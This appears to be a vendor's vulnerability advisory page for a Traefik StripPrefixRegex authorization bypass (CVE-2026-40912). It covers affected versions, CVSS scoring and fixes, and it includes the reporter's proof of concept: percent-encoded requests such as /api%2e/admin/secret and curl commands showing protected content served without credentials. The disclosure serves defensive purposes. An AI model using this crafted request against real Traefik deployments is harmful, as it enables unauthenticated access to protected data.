How severe is GHSA-6jwx-7vp4-9847?

GHSA-6jwx-7vp4-9847 has a CVSS score of 8.2/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-6jwx-7vp4-9847?

GHSA-6jwx-7vp4-9847 affects the following packages: github.com/traefik/traefik/v3 (Go), github.com/traefik/traefik/v3 (Go), github.com/traefik/traefik/v2 (Go), github.com/traefik/traefik (Go). Ecosystems affected: Go.

How do I fix GHSA-6jwx-7vp4-9847?

Update github.com/traefik/traefik/v3 to 3.7.0-rc.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6jwx-7vp4-9847 is resolved across your whole dependency graph.

How do I detect GHSA-6jwx-7vp4-9847 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-6jwx-7vp4-9847 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-6jwx-7vp4-9847?

O3 pinpoints whether GHSA-6jwx-7vp4-9847 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-6jwx-7vp4-9847 actively exploited in the wild?

No public exploit code has been indexed for GHSA-6jwx-7vp4-9847 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What type of vulnerability is GHSA-6jwx-7vp4-9847?

GHSA-6jwx-7vp4-9847 is classified as CWE-706 (CWE-706), Path Traversal (CWE-22). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-6jwx-7vp4-9847 published, and has it been updated?

GHSA-6jwx-7vp4-9847 was published on April 24, 2026 and was last updated on July 21, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-6jwx-7vp4-9847

HIGH

GHSA-6jwx-7vp4-9847 is a high-severity (CVSS 8.2) CWE-706 vulnerability in github.com/traefik/traefik/v3. O3 Security confirms whether GHSA-6jwx-7vp4-9847 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync

Also known asCVE-2026-40912GO-2026-5180

Published

Apr 24, 2026

Updated

Jul 21, 2026

Affected

4 pkgs

Patched

3 / 4

Exploits

None indexed

Blast Radius

4 pkgs affected

🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v2🐹github.com/traefik/traefik

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

Details

pkg/middlewares/stripprefixregex/strip_prefix_regex.go, line 62:

req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.

Example with regex ^/api:

GET /api%20/admin/secret
Decoded Path: /api /admin/secret -> prefix = /api (4 bytes)
Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes
RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret
ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it
Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.

Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret
-> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret
-> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows
-> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret      -> 403 (blocked)
GET /api%2e/admin/secret   -> 200 (bypass — served protected content)
GET /api%20/admin/secret   -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret'    -> DENIED
X-Forwarded-Uri: '/./admin/secret'  -> ALLOWED

Reproduction:

docker compose up -d --build --wait
curl http://localhost:8080/api/admin/secret                       # -> 403
curl --path-as-is "http://localhost:8080/api%2e/admin/secret"     # -> 200

</details>

Affected Packages

4 total 3 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/traefik/traefik/v3`	≥ 3.7.0-ea.1&&< 3.7.0-rc.2	3.7.0-rc.2
🐹Go	`github.com/traefik/traefik/v3`	≥ 3.0.0-beta1&&< 3.6.14	3.6.14
🐹Go	`github.com/traefik/traefik/v2`	all versions	2.11.43
🐹Go	`github.com/traefik/traefik`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/traefik/traefik/v3 to 3.7.0-rc.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6jwx-7vp4-9847 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6jwx-7vp4-9847 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6jwx-7vp4-9847. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary There is a high severity authentication bypass vulnerability in Traefik's `StripPrefixRegex` middleware when used in combination with `ForwardAuth`, `BasicAuth`, or `DigestAuth`. The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. `/./admin/secret`). `ForwardAuth` receives this dot-segment path in `X-Forwarded-Uri`, which does not match the protected path patterns and th

O3 Security · Impact-Aware SCA

Is GHSA-6jwx-7vp4-9847 in your dependencies?

O3 detects GHSA-6jwx-7vp4-9847 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works

CVSS Score

8.2/10

CVSS v3 base score

Vector breakdown

AV:Attack Vector

Network

AC:Attack Complexity

Low

PR:Privileges Required

None

UI:User Interaction

None

S:Scope

Unchanged

C:Confidentiality

High

I:Integrity

Low

A:Availability

None

Raw vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CWE Classification

CWE-706CWE-706 CWE-22Path Traversal

Weaponization

No known public exploit tooling found.

OpenSSF Scorecard

Package health score

traefik

6.4/10

Code-Review10/10

Maintained10/10

Branch-ProtectionN/A

Assessed Jul 27, 2026

Timeline

Disclosed

Apr 24, 2026

Last updated

Jul 21, 2026

Identifiers

GHSA-6jwx-7vp4-9847

GO-2026-5180

References

Advisorynvd.nist.gov Webgithub.com Webaccess.redhat.com Webaccess.redhat.com Webbugzilla.redhat.com Webgithub.com Webgithub.com Webgithub.com Websecurity.access.redhat.com Packagegithub.com

Related vulnerabilities

CVE-2026-54762CVE-2026-54761CVE-2026-48020CVE-2026-44774CVE-2026-41181CVE-2026-39858CVE-2026-35051CVE-2026-40912

Data from OSV.dev, enriched by O3 Security. Refreshed hourly.

GHSA-6jwx-7vp4-9847

Blast Radius

Description

Summary

Patches

For more information

Summary

Details

Updated PoC (reporter follow-up)

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is GHSA-6jwx-7vp4-9847 in your dependencies?